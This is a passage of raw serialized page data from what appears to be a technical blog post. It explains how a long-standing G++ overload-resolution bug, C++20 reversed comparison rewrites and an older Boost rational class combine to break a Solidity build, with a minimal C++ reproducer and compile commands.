1.67",{"type":25,"tag":6948,"props":91249,"children":91250},{},[91251],{"type":31,"value":91252},"GCC ≥ 11",{"type":25,"tag":34,"props":91254,"children":91255},{},[91256],{"type":31,"value":91257},"Ubuntu 22.04, for example, ships with:",{"type":25,"tag":18183,"props":91259,"children":91260},{},[91261,91266],{"type":25,"tag":6948,"props":91262,"children":91263},{},[91264],{"type":31,"value":91265},"G++ 11.4.0",{"type":25,"tag":6948,"props":91267,"children":91268},{},[91269],{"type":31,"value":91270},"Boost 1.74.0",{"type":25,"tag":34,"props":91272,"children":91273},{},[91274],{"type":31,"value":91275},"So far, so good.",{"type":25,"tag":34,"props":91277,"children":91278},{},[91279,91281,91286],{"type":31,"value":91280},"However, Solidity enabled ",{"type":25,"tag":1252,"props":91282,"children":91283},{},[91284],{"type":31,"value":91285},"C++20",{"type":31,"value":91287}," in January 2025:",{"type":25,"tag":4439,"props":91289,"children":91290},{},[91291],{"type":25,"tag":34,"props":91292,"children":91293},{},[91294],{"type":25,"tag":71,"props":91295,"children":91298},{"href":91296,"rel":91297},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[75],[91299],{"type":31,"value":91300},"Enable C++20 in Solidity",{"type":25,"tag":34,"props":91302,"children":91303},{},[91304],{"type":31,"value":91305},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":25,"tag":20292,"props":91307,"children":91308},{},[],{"type":25,"tag":26,"props":91310,"children":91312},{"id":91311},"part-i-a-12-year-old-g-bug-in-overload-resolution",[91313],{"type":31,"value":91314},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":25,"tag":40,"props":91316,"children":91318},{"id":91317},"whats-overload-resolution",[91319],{"type":31,"value":91320},"What’s Overload Resolution?",{"type":25,"tag":34,"props":91322,"children":91323},{},[91324,91326,91332,91334,91340,91342,91347,91349,91354,91356,91362,91364,91369,91370,91376],{"type":31,"value":91325},"In C++, when you write an expression like ",{"type":25,"tag":115,"props":91327,"children":91329},{"className":91328},[],[91330],{"type":31,"value":91331},"a == b",{"type":31,"value":91333},", the compiler chooses among available ",{"type":25,"tag":115,"props":91335,"children":91337},{"className":91336},[],[91338],{"type":31,"value":91339},"operator==",{"type":31,"value":91341}," implementations by comparing their ",{"type":25,"tag":1252,"props":91343,"children":91344},{},[91345],{"type":31,"value":91346},"match quality",{"type":31,"value":91348},". A ",{"type":25,"tag":1252,"props":91350,"children":91351},{},[91352],{"type":31,"value":91353},"member function",{"type":31,"value":91355}," like ",{"type":25,"tag":115,"props":91357,"children":91359},{"className":91358},[],[91360],{"type":31,"value":91361},"a.operator==(b)",{"type":31,"value":91363}," usually has higher priority than a ",{"type":25,"tag":1252,"props":91365,"children":91366},{},[91367],{"type":31,"value":91368},"non-member function",{"type":31,"value":91355},{"type":25,"tag":115,"props":91371,"children":91373},{"className":91372},[],[91374],{"type":31,"value":91375},"operator==(a, b)",{"type":31,"value":91377}," — unless the types differ too much or are ambiguous.",{"type":25,"tag":34,"props":91379,"children":91380},{},[91381],{"type":31,"value":91382},"That’s the rule. But G++ didn’t always follow it.",{"type":25,"tag":40,"props":91384,"children":91386},{"id":91385},"the-bug",[91387],{"type":31,"value":91388},"The Bug",{"type":25,"tag":34,"props":91390,"children":91391},{},[91392,91394,91401],{"type":31,"value":91393},"In 2012, a bug was filed: ",{"type":25,"tag":71,"props":91395,"children":91398},{"href":91396,"rel":91397},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[75],[91399],{"type":31,"value":91400},"GCC Bug 53499 – overload resolution favors non-member function",{"type":31,"value":91402},". The issue? In expressions where:",{"type":25,"tag":18183,"props":91404,"children":91405},{},[91406,91426],{"type":25,"tag":6948,"props":91407,"children":91408},{},[91409,91411,91417,91419,91424],{"type":31,"value":91410},"A class ",{"type":25,"tag":115,"props":91412,"children":91414},{"className":91413},[],[91415],{"type":31,"value":91416},"rational\u003CT>",{"type":31,"value":91418}," has a templated ",{"type":25,"tag":115,"props":91420,"children":91422},{"className":91421},[],[91423],{"type":31,"value":91339},{"type":31,"value":91425}," member function",{"type":25,"tag":6948,"props":91427,"children":91428},{},[91429,91431,91437],{"type":31,"value":91430},"There's also a more generic free ",{"type":25,"tag":115,"props":91432,"children":91434},{"className":91433},[],[91435],{"type":31,"value":91436},"operator==(rational\u003CT>, U)",{"type":31,"value":39284},{"type":25,"tag":34,"props":91439,"children":91440},{},[91441],{"type":25,"tag":1252,"props":91442,"children":91443},{},[91444],{"type":31,"value":91445},"Clang correctly chooses the member function.",{"type":25,"tag":34,"props":91447,"children":91448},{},[91449],{"type":25,"tag":1252,"props":91450,"children":91451},{},[91452],{"type":31,"value":91453},"G++ (before v14) chooses the non-member function.",{"type":25,"tag":34,"props":91455,"children":91456},{},[91457,91459,91464,91466,91473],{"type":31,"value":91458},"Why? Because G++ mishandles ",{"type":25,"tag":1252,"props":91460,"children":91461},{},[91462],{"type":31,"value":91463},"templated conversion + non-exact match",{"type":31,"value":91465},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":25,"tag":71,"props":91467,"children":91470},{"href":91468,"rel":91469},"https://cplusplus.github.io/CWG/issues/532.html",[75],[91471],{"type":31,"value":91472},"CWG532: Member/nonmember operator template partial ordering",{"type":31,"value":80},{"type":25,"tag":40,"props":91475,"children":91477},{"id":91476},"a-minimal-reproducer",[91478],{"type":31,"value":91479},"A Minimal Reproducer",{"type":25,"tag":34,"props":91481,"children":91482},{},[91483],{"type":31,"value":91484},"Let’s see this in action:",{"type":25,"tag":191,"props":91486,"children":91488},{"code":91487,"language":30595,"meta":7,"className":30593,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[91489],{"type":25,"tag":115,"props":91490,"children":91491},{"__ignoreMap":7},[91492,91505,91512,91537,91553,91561,91585,91630,91658,91673,91680,91687,91694,91730,91799,91824,91839,91846,91853,91869,91894,91918],{"type":25,"tag":201,"props":91493,"children":91494},{"class":203,"line":204},[91495,91500],{"type":25,"tag":201,"props":91496,"children":91497},{"style":230},[91498],{"type":31,"value":91499},"#include",{"type":25,"tag":201,"props":91501,"children":91502},{"style":267},[91503],{"type":31,"value":91504}," \u003Ciostream>\n",{"type":25,"tag":201,"props":91506,"children":91507},{"class":203,"line":226},[91508],{"type":25,"tag":201,"props":91509,"children":91510},{"emptyLinePlaceholder":17},[91511],{"type":31,"value":496},{"type":25,"tag":201,"props":91513,"children":91514},{"class":203,"line":278},[91515,91519,91523,91528,91533],{"type":25,"tag":201,"props":91516,"children":91517},{"style":208},[91518],{"type":31,"value":67297},{"type":25,"tag":201,"props":91520,"children":91521},{"style":220},[91522],{"type":31,"value":3208},{"type":25,"tag":201,"props":91524,"children":91525},{"style":208},[91526],{"type":31,"value":91527},"typename",{"type":25,"tag":201,"props":91529,"children":91530},{"style":4925},[91531],{"type":31,"value":91532}," IntType",{"type":25,"tag":201,"props":91534,"children":91535},{"style":220},[91536],{"type":31,"value":1308},{"type":25,"tag":201,"props":91538,"children":91539},{"class":203,"line":311},[91540,91544,91549],{"type":25,"tag":201,"props":91541,"children":91542},{"style":208},[91543],{"type":31,"value":71492},{"type":25,"tag":201,"props":91545,"children":91546},{"style":4925},[91547],{"type":31,"value":91548}," rational",{"type":25,"tag":201,"props":91550,"children":91551},{"style":220},[91552],{"type":31,"value":327},{"type":25,"tag":201,"props":91554,"children":91555},{"class":203,"line":330},[91556],{"type":25,"tag":201,"props":91557,"children":91558},{"style":208},[91559],{"type":31,"value":91560},"public:\n",{"type":25,"tag":201,"props":91562,"children":91563},{"class":203,"line":397},[91564,91569,91573,91577,91581],{"type":25,"tag":201,"props":91565,"children":91566},{"style":208},[91567],{"type":31,"value":91568},"    template",{"type":25,"tag":201,"props":91570,"children":91571},{"style":220},[91572],{"type":31,"value":3208},{"type":25,"tag":201,"props":91574,"children":91575},{"style":208},[91576],{"type":31,"value":71492},{"type":25,"tag":201,"props":91578,"children":91579},{"style":4925},[91580],{"type":31,"value":7427},{"type":25,"tag":201,"props":91582,"children":91583},{"style":220},[91584],{"type":31,"value":1308},{"type":25,"tag":201,"props":91586,"children":91587},{"class":203,"line":437},[91588,91592,91597,91602,91606,91610,91614,91618,91622,91626],{"type":25,"tag":201,"props":91589,"children":91590},{"style":208},[91591],{"type":31,"value":47549},{"type":25,"tag":201,"props":91593,"children":91594},{"style":208},[91595],{"type":31,"value":91596}," operator",{"type":25,"tag":201,"props":91598,"children":91599},{"style":220},[91600],{"type":31,"value":91601},"==(",{"type":25,"tag":201,"props":91603,"children":91604},{"style":208},[91605],{"type":31,"value":4074},{"type":25,"tag":201,"props":91607,"children":91608},{"style":4925},[91609],{"type":31,"value":7427},{"type":25,"tag":201,"props":91611,"children":91612},{"style":208},[91613],{"type":31,"value":4615},{"type":25,"tag":201,"props":91615,"children":91616},{"style":246},[91617],{"type":31,"value":4904},{"type":25,"tag":201,"props":91619,"children":91620},{"style":220},[91621],{"type":31,"value":385},{"type":25,"tag":201,"props":91623,"children":91624},{"style":208},[91625],{"type":31,"value":4074},{"type":25,"tag":201,"props":91627,"children":91628},{"style":220},[91629],{"type":31,"value":327},{"type":25,"tag":201,"props":91631,"children":91632},{"class":203,"line":464},[91633,91638,91643,91648,91653],{"type":25,"tag":201,"props":91634,"children":91635},{"style":220},[91636],{"type":31,"value":91637},"        std::cout ",{"type":25,"tag":201,"props":91639,"children":91640},{"style":261},[91641],{"type":31,"value":91642},"\u003C\u003C",{"type":25,"tag":201,"props":91644,"children":91645},{"style":267},[91646],{"type":31,"value":91647}," \"clang++ resolved member\"",{"type":25,"tag":201,"props":91649,"children":91650},{"style":261},[91651],{"type":31,"value":91652}," \u003C\u003C",{"type":25,"tag":201,"props":91654,"children":91655},{"style":220},[91656],{"type":31,"value":91657}," std::endl;\n",{"type":25,"tag":201,"props":91659,"children":91660},{"class":203,"line":490},[91661,91665,91669],{"type":25,"tag":201,"props":91662,"children":91663},{"style":230},[91664],{"type":31,"value":17239},{"type":25,"tag":201,"props":91666,"children":91667},{"style":208},[91668],{"type":31,"value":13971},{"type":25,"tag":201,"props":91670,"children":91671},{"style":220},[91672],{"type":31,"value":461},{"type":25,"tag":201,"props":91674,"children":91675},{"class":203,"line":499},[91676],{"type":25,"tag":201,"props":91677,"children":91678},{"style":220},[91679],{"type":31,"value":4861},{"type":25,"tag":201,"props":91681,"children":91682},{"class":203,"line":522},[91683],{"type":25,"tag":201,"props":91684,"children":91685},{"style":220},[91686],{"type":31,"value":18073},{"type":25,"tag":201,"props":91688,"children":91689},{"class":203,"line":531},[91690],{"type":25,"tag":201,"props":91691,"children":91692},{"emptyLinePlaceholder":17},[91693],{"type":31,"value":496},{"type":25,"tag":201,"props":91695,"children":91696},{"class":203,"line":550},[91697,91701,91705,91709,91714,91718,91722,91726],{"type":25,"tag":201,"props":91698,"children":91699},{"style":208},[91700],{"type":31,"value":67297},{"type":25,"tag":201,"props":91702,"children":91703},{"style":220},[91704],{"type":31,"value":3208},{"type":25,"tag":201,"props":91706,"children":91707},{"style":208},[91708],{"type":31,"value":71492},{"type":25,"tag":201,"props":91710,"children":91711},{"style":4925},[91712],{"type":31,"value":91713}," Arg",{"type":25,"tag":201,"props":91715,"children":91716},{"style":220},[91717],{"type":31,"value":919},{"type":25,"tag":201,"props":91719,"children":91720},{"style":208},[91721],{"type":31,"value":71492},{"type":25,"tag":201,"props":91723,"children":91724},{"style":4925},[91725],{"type":31,"value":91532},{"type":25,"tag":201,"props":91727,"children":91728},{"style":220},[91729],{"type":31,"value":1308},{"type":25,"tag":201,"props":91731,"children":91732},{"class":203,"line":563},[91733,91737,91741,91745,91749,91753,91757,91762,91766,91770,91774,91778,91782,91786,91790,91795],{"type":25,"tag":201,"props":91734,"children":91735},{"style":208},[91736],{"type":31,"value":31169},{"type":25,"tag":201,"props":91738,"children":91739},{"style":208},[91740],{"type":31,"value":91596},{"type":25,"tag":201,"props":91742,"children":91743},{"style":220},[91744],{"type":31,"value":91601},{"type":25,"tag":201,"props":91746,"children":91747},{"style":208},[91748],{"type":31,"value":4074},{"type":25,"tag":201,"props":91750,"children":91751},{"style":4925},[91752],{"type":31,"value":91548},{"type":25,"tag":201,"props":91754,"children":91755},{"style":220},[91756],{"type":31,"value":1298},{"type":25,"tag":201,"props":91758,"children":91759},{"style":4925},[91760],{"type":31,"value":91761},"IntType",{"type":25,"tag":201,"props":91763,"children":91764},{"style":220},[91765],{"type":31,"value":1342},{"type":25,"tag":201,"props":91767,"children":91768},{"style":208},[91769],{"type":31,"value":4615},{"type":25,"tag":201,"props":91771,"children":91772},{"style":246},[91773],{"type":31,"value":90920},{"type":25,"tag":201,"props":91775,"children":91776},{"style":220},[91777],{"type":31,"value":919},{"type":25,"tag":201,"props":91779,"children":91780},{"style":208},[91781],{"type":31,"value":4074},{"type":25,"tag":201,"props":91783,"children":91784},{"style":4925},[91785],{"type":31,"value":91713},{"type":25,"tag":201,"props":91787,"children":91788},{"style":208},[91789],{"type":31,"value":4615},{"type":25,"tag":201,"props":91791,"children":91792},{"style":246},[91793],{"type":31,"value":91794}," b",{"type":25,"tag":201,"props":91796,"children":91797},{"style":220},[91798],{"type":31,"value":275},{"type":25,"tag":201,"props":91800,"children":91801},{"class":203,"line":572},[91802,91807,91811,91816,91820],{"type":25,"tag":201,"props":91803,"children":91804},{"style":220},[91805],{"type":31,"value":91806},"    std::cout ",{"type":25,"tag":201,"props":91808,"children":91809},{"style":261},[91810],{"type":31,"value":91642},{"type":25,"tag":201,"props":91812,"children":91813},{"style":267},[91814],{"type":31,"value":91815}," \"g++ \u003C14 resolved non-member\"",{"type":25,"tag":201,"props":91817,"children":91818},{"style":261},[91819],{"type":31,"value":91652},{"type":25,"tag":201,"props":91821,"children":91822},{"style":220},[91823],{"type":31,"value":91657},{"type":25,"tag":201,"props":91825,"children":91826},{"class":203,"line":590},[91827,91831,91835],{"type":25,"tag":201,"props":91828,"children":91829},{"style":230},[91830],{"type":31,"value":18486},{"type":25,"tag":201,"props":91832,"children":91833},{"style":208},[91834],{"type":31,"value":542},{"type":25,"tag":201,"props":91836,"children":91837},{"style":220},[91838],{"type":31,"value":461},{"type":25,"tag":201,"props":91840,"children":91841},{"class":203,"line":608},[91842],{"type":25,"tag":201,"props":91843,"children":91844},{"style":220},[91845],{"type":31,"value":1187},{"type":25,"tag":201,"props":91847,"children":91848},{"class":203,"line":617},[91849],{"type":25,"tag":201,"props":91850,"children":91851},{"emptyLinePlaceholder":17},[91852],{"type":31,"value":496},{"type":25,"tag":201,"props":91854,"children":91855},{"class":203,"line":625},[91856,91860,91865],{"type":25,"tag":201,"props":91857,"children":91858},{"style":208},[91859],{"type":31,"value":20546},{"type":25,"tag":201,"props":91861,"children":91862},{"style":214},[91863],{"type":31,"value":91864}," main",{"type":25,"tag":201,"props":91866,"children":91867},{"style":220},[91868],{"type":31,"value":223},{"type":25,"tag":201,"props":91870,"children":91871},{"class":203,"line":642},[91872,91877,91881,91885,91889],{"type":25,"tag":201,"props":91873,"children":91874},{"style":220},[91875],{"type":31,"value":91876},"    rational",{"type":25,"tag":201,"props":91878,"children":91879},{"style":261},[91880],{"type":31,"value":1298},{"type":25,"tag":201,"props":91882,"children":91883},{"style":208},[91884],{"type":31,"value":20546},{"type":25,"tag":201,"props":91886,"children":91887},{"style":261},[91888],{"type":31,"value":1342},{"type":25,"tag":201,"props":91890,"children":91891},{"style":220},[91892],{"type":31,"value":91893}," r;\n",{"type":25,"tag":201,"props":91895,"children":91896},{"class":203,"line":659},[91897,91901,91906,91910,91914],{"type":25,"tag":201,"props":91898,"children":91899},{"style":230},[91900],{"type":31,"value":18486},{"type":25,"tag":201,"props":91902,"children":91903},{"style":220},[91904],{"type":31,"value":91905}," r ",{"type":25,"tag":201,"props":91907,"children":91908},{"style":261},[91909],{"type":31,"value":10083},{"type":25,"tag":201,"props":91911,"children":91912},{"style":426},[91913],{"type":31,"value":4554},{"type":25,"tag":201,"props":91915,"children":91916},{"style":220},[91917],{"type":31,"value":461},{"type":25,"tag":201,"props":91919,"children":91920},{"class":203,"line":667},[91921],{"type":25,"tag":201,"props":91922,"children":91923},{"style":220},[91924],{"type":31,"value":1187},{"type":25,"tag":18183,"props":91926,"children":91927},{},[91928],{"type":25,"tag":6948,"props":91929,"children":91930},{},[91931],{"type":31,"value":91932},"Compile with g++\u003C14:",{"type":25,"tag":191,"props":91934,"children":91936},{"code":91935,"language":5747,"meta":7,"className":5748,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[91937],{"type":25,"tag":115,"props":91938,"children":91939},{"__ignoreMap":7},[91940],{"type":25,"tag":201,"props":91941,"children":91942},{"class":203,"line":204},[91943,91948,91953,91958,91963,91967,91972],{"type":25,"tag":201,"props":91944,"children":91945},{"style":214},[91946],{"type":31,"value":91947},"g++",{"type":25,"tag":201,"props":91949,"children":91950},{"style":267},[91951],{"type":31,"value":91952}," -std=c++17",{"type":25,"tag":201,"props":91954,"children":91955},{"style":267},[91956],{"type":31,"value":91957}," main.cpp",{"type":25,"tag":201,"props":91959,"children":91960},{"style":267},[91961],{"type":31,"value":91962}," -o",{"type":25,"tag":201,"props":91964,"children":91965},{"style":267},[91966],{"type":31,"value":32162},{"type":25,"tag":201,"props":91968,"children":91969},{"style":220},[91970],{"type":31,"value":91971}," && ",{"type":25,"tag":201,"props":91973,"children":91974},{"style":214},[91975],{"type":31,"value":91976},"./test\n",{"type":25,"tag":34,"props":91978,"children":91979},{},[91980],{"type":31,"value":91981},"Output (on g++ 11.4):",{"type":25,"tag":191,"props":91983,"children":91985},{"code":91984},"g++ \u003C14 resolved non-member\n",[91986],{"type":25,"tag":115,"props":91987,"children":91988},{"__ignoreMap":7},[91989],{"type":31,"value":91984},{"type":25,"tag":18183,"props":91991,"children":91992},{},[91993],{"type":25,"tag":6948,"props":91994,"children":91995},{},[91996],{"type":31,"value":91997},"Compile with clang++:",{"type":25,"tag":191,"props":91999,"children":92001},{"code":92000,"language":5747,"meta":7,"className":5748,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92002],{"type":25,"tag":115,"props":92003,"children":92004},{"__ignoreMap":7},[92005],{"type":25,"tag":201,"props":92006,"children":92007},{"class":203,"line":204},[92008,92013,92017,92021,92025,92029,92033],{"type":25,"tag":201,"props":92009,"children":92010},{"style":214},[92011],{"type":31,"value":92012},"clang++",{"type":25,"tag":201,"props":92014,"children":92015},{"style":267},[92016],{"type":31,"value":91952},{"type":25,"tag":201,"props":92018,"children":92019},{"style":267},[92020],{"type":31,"value":91957},{"type":25,"tag":201,"props":92022,"children":92023},{"style":267},[92024],{"type":31,"value":91962},{"type":25,"tag":201,"props":92026,"children":92027},{"style":267},[92028],{"type":31,"value":32162},{"type":25,"tag":201,"props":92030,"children":92031},{"style":220},[92032],{"type":31,"value":91971},{"type":25,"tag":201,"props":92034,"children":92035},{"style":214},[92036],{"type":31,"value":91976},{"type":25,"tag":34,"props":92038,"children":92039},{},[92040],{"type":31,"value":92041},"Output:",{"type":25,"tag":191,"props":92043,"children":92045},{"code":92044},"clang++ resolved member\n",[92046],{"type":25,"tag":115,"props":92047,"children":92048},{"__ignoreMap":7},[92049],{"type":31,"value":92044},{"type":25,"tag":34,"props":92051,"children":92052},{},[92053],{"type":31,"value":92054},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":25,"tag":20292,"props":92056,"children":92057},{},[],{"type":25,"tag":26,"props":92059,"children":92061},{"id":92060},"part-ii-c20s-symmetric-comparison-feature",[92062],{"type":31,"value":92063},"Part II: C++20’s Symmetric Comparison Feature",{"type":25,"tag":40,"props":92065,"children":92067},{"id":92066},"what-changed-in-c20",[92068],{"type":31,"value":92069},"What Changed in C++20?",{"type":25,"tag":34,"props":92071,"children":92072},{},[92073,92075,92088,92089,92094],{"type":31,"value":92074},"C++20 introduced the ",{"type":25,"tag":71,"props":92076,"children":92079},{"href":92077,"rel":92078},"https://en.cppreference.com/w/cpp/language/operator_comparison",[75],[92080,92082],{"type":31,"value":92081},"spaceship operator ",{"type":25,"tag":115,"props":92083,"children":92085},{"className":92084},[],[92086],{"type":31,"value":92087},"\u003C=>",{"type":31,"value":12493},{"type":25,"tag":1252,"props":92090,"children":92091},{},[92092],{"type":31,"value":92093},"defaulted comparison rewrites",{"type":31,"value":80},{"type":25,"tag":34,"props":92096,"children":92097},{},[92098,92100,92105],{"type":31,"value":92099},"When you define a two-argument ",{"type":25,"tag":115,"props":92101,"children":92103},{"className":92102},[],[92104],{"type":31,"value":91339},{"type":31,"value":92106},", C++20 may implicitly define the \"reversed\" version:",{"type":25,"tag":18183,"props":92108,"children":92109},{},[92110,92121],{"type":25,"tag":6948,"props":92111,"children":92112},{},[92113,92115],{"type":31,"value":92114},"If you define: ",{"type":25,"tag":115,"props":92116,"children":92118},{"className":92117},[],[92119],{"type":31,"value":92120},"bool operator==(T1, T2);",{"type":25,"tag":6948,"props":92122,"children":92123},{},[92124,92126,92132],{"type":31,"value":92125},"Then ",{"type":25,"tag":115,"props":92127,"children":92129},{"className":92128},[],[92130],{"type":31,"value":92131},"T2 == T1",{"type":31,"value":92133}," may call the same function by reversing the arguments.",{"type":25,"tag":34,"props":92135,"children":92136},{},[92137,92139,92144,92145,92150,92152,92158,92160,92165],{"type":31,"value":92138},"This rewrite is ",{"type":25,"tag":1252,"props":92140,"children":92141},{},[92142],{"type":31,"value":92143},"recursive",{"type":31,"value":2957},{"type":25,"tag":115,"props":92146,"children":92148},{"className":92147},[],[92149],{"type":31,"value":91331},{"type":31,"value":92151}," becomes ",{"type":25,"tag":115,"props":92153,"children":92155},{"className":92154},[],[92156],{"type":31,"value":92157},"b == a",{"type":31,"value":92159},", which becomes ",{"type":25,"tag":115,"props":92161,"children":92163},{"className":92162},[],[92164],{"type":31,"value":91331},{"type":31,"value":92166}," again, and so on — if not handled carefully.",{"type":25,"tag":34,"props":92168,"children":92169},{},[92170],{"type":31,"value":92171},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":25,"tag":20292,"props":92173,"children":92174},{},[],{"type":25,"tag":26,"props":92176,"children":92178},{"id":92177},"part-iii-the-boost-trapdoor",[92179],{"type":31,"value":92180},"Part III: The Boost Trapdoor",{"type":25,"tag":34,"props":92182,"children":92183},{},[92184,92186,92192,92194,92199],{"type":31,"value":92185},"The old Boost ",{"type":25,"tag":115,"props":92187,"children":92189},{"className":92188},[],[92190],{"type":31,"value":92191},"rational",{"type":31,"value":92193}," class (prior to v1.75) defined both member function and non-member function of ",{"type":25,"tag":115,"props":92195,"children":92197},{"className":92196},[],[92198],{"type":31,"value":91339},{"type":31,"value":5997},{"type":25,"tag":191,"props":92201,"children":92203},{"code":92202,"language":30595,"meta":7,"className":30593,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[92204],{"type":25,"tag":115,"props":92205,"children":92206},{"__ignoreMap":7},[92207,92242,92265,92277,92284,92291,92298,92305,92312,92335,92423,92430,92481,92488,92495,92502,92509,92544,92552,92580,92619,92684,92691,92711],{"type":25,"tag":201,"props":92208,"children":92209},{"class":203,"line":204},[92210,92214,92218,92222,92226,92230,92234,92238],{"type":25,"tag":201,"props":92211,"children":92212},{"style":208},[92213],{"type":31,"value":67297},{"type":25,"tag":201,"props":92215,"children":92216},{"style":220},[92217],{"type":31,"value":3208},{"type":25,"tag":201,"props":92219,"children":92220},{"style":208},[92221],{"type":31,"value":71492},{"type":25,"tag":201,"props":92223,"children":92224},{"style":4925},[92225],{"type":31,"value":91713},{"type":25,"tag":201,"props":92227,"children":92228},{"style":220},[92229],{"type":31,"value":919},{"type":25,"tag":201,"props":92231,"children":92232},{"style":208},[92233],{"type":31,"value":71492},{"type":25,"tag":201,"props":92235,"children":92236},{"style":4925},[92237],{"type":31,"value":91532},{"type":25,"tag":201,"props":92239,"children":92240},{"style":220},[92241],{"type":31,"value":1308},{"type":25,"tag":201,"props":92243,"children":92244},{"class":203,"line":226},[92245,92249,92253,92257,92261],{"type":25,"tag":201,"props":92246,"children":92247},{"style":208},[92248],{"type":31,"value":67297},{"type":25,"tag":201,"props":92250,"children":92251},{"style":220},[92252],{"type":31,"value":3208},{"type":25,"tag":201,"props":92254,"children":92255},{"style":208},[92256],{"type":31,"value":91527},{"type":25,"tag":201,"props":92258,"children":92259},{"style":4925},[92260],{"type":31,"value":91532},{"type":25,"tag":201,"props":92262,"children":92263},{"style":220},[92264],{"type":31,"value":1308},{"type":25,"tag":201,"props":92266,"children":92267},{"class":203,"line":278},[92268,92272],{"type":25,"tag":201,"props":92269,"children":92270},{"style":208},[92271],{"type":31,"value":71492},{"type":25,"tag":201,"props":92273,"children":92274},{"style":4925},[92275],{"type":31,"value":92276}," rational\n",{"type":25,"tag":201,"props":92278,"children":92279},{"class":203,"line":311},[92280],{"type":25,"tag":201,"props":92281,"children":92282},{"style":220},[92283],{"type":31,"value":1822},{"type":25,"tag":201,"props":92285,"children":92286},{"class":203,"line":330},[92287],{"type":25,"tag":201,"props":92288,"children":92289},{"style":220},[92290],{"type":31,"value":21836},{"type":25,"tag":201,"props":92292,"children":92293},{"class":203,"line":397},[92294],{"type":25,"tag":201,"props":92295,"children":92296},{"style":208},[92297],{"type":31,"value":91560},{"type":25,"tag":201,"props":92299,"children":92300},{"class":203,"line":437},[92301],{"type":25,"tag":201,"props":92302,"children":92303},{"style":220},[92304],{"type":31,"value":21836},{"type":25,"tag":201,"props":92306,"children":92307},{"class":203,"line":464},[92308],{"type":25,"tag":201,"props":92309,"children":92310},{"style":220},[92311],{"type":31,"value":62866},{"type":25,"tag":201,"props":92313,"children":92314},{"class":203,"line":490},[92315,92319,92323,92327,92331],{"type":25,"tag":201,"props":92316,"children":92317},{"style":208},[92318],{"type":31,"value":91568},{"type":25,"tag":201,"props":92320,"children":92321},{"style":220},[92322],{"type":31,"value":3208},{"type":25,"tag":201,"props":92324,"children":92325},{"style":208},[92326],{"type":31,"value":71492},{"type":25,"tag":201,"props":92328,"children":92329},{"style":4925},[92330],{"type":31,"value":7427},{"type":25,"tag":201,"props":92332,"children":92333},{"style":220},[92334],{"type":31,"value":1308},{"type":25,"tag":201,"props":92336,"children":92337},{"class":203,"line":499},[92338,92343,92347,92352,92356,92360,92364,92369,92373,92377,92381,92385,92389,92393,92398,92402,92406,92410,92414,92418],{"type":25,"tag":201,"props":92339,"children":92340},{"style":220},[92341],{"type":31,"value":92342},"    BOOST_CONSTEXPR ",{"type":25,"tag":201,"props":92344,"children":92345},{"style":208},[92346],{"type":31,"value":91527},{"type":25,"tag":201,"props":92348,"children":92349},{"style":220},[92350],{"type":31,"value":92351}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":25,"tag":201,"props":92353,"children":92354},{"style":4925},[92355],{"type":31,"value":7496},{"type":25,"tag":201,"props":92357,"children":92358},{"style":220},[92359],{"type":31,"value":919},{"type":25,"tag":201,"props":92361,"children":92362},{"style":4925},[92363],{"type":31,"value":91761},{"type":25,"tag":201,"props":92365,"children":92366},{"style":220},[92367],{"type":31,"value":92368},">::",{"type":25,"tag":201,"props":92370,"children":92371},{"style":4925},[92372],{"type":31,"value":40222},{"type":25,"tag":201,"props":92374,"children":92375},{"style":220},[92376],{"type":31,"value":919},{"type":25,"tag":201,"props":92378,"children":92379},{"style":208},[92380],{"type":31,"value":31169},{"type":25,"tag":201,"props":92382,"children":92383},{"style":220},[92384],{"type":31,"value":92368},{"type":25,"tag":201,"props":92386,"children":92387},{"style":4925},[92388],{"type":31,"value":1684},{"type":25,"tag":201,"props":92390,"children":92391},{"style":208},[92392],{"type":31,"value":91596},{"type":25,"tag":201,"props":92394,"children":92395},{"style":220},[92396],{"type":31,"value":92397},"== 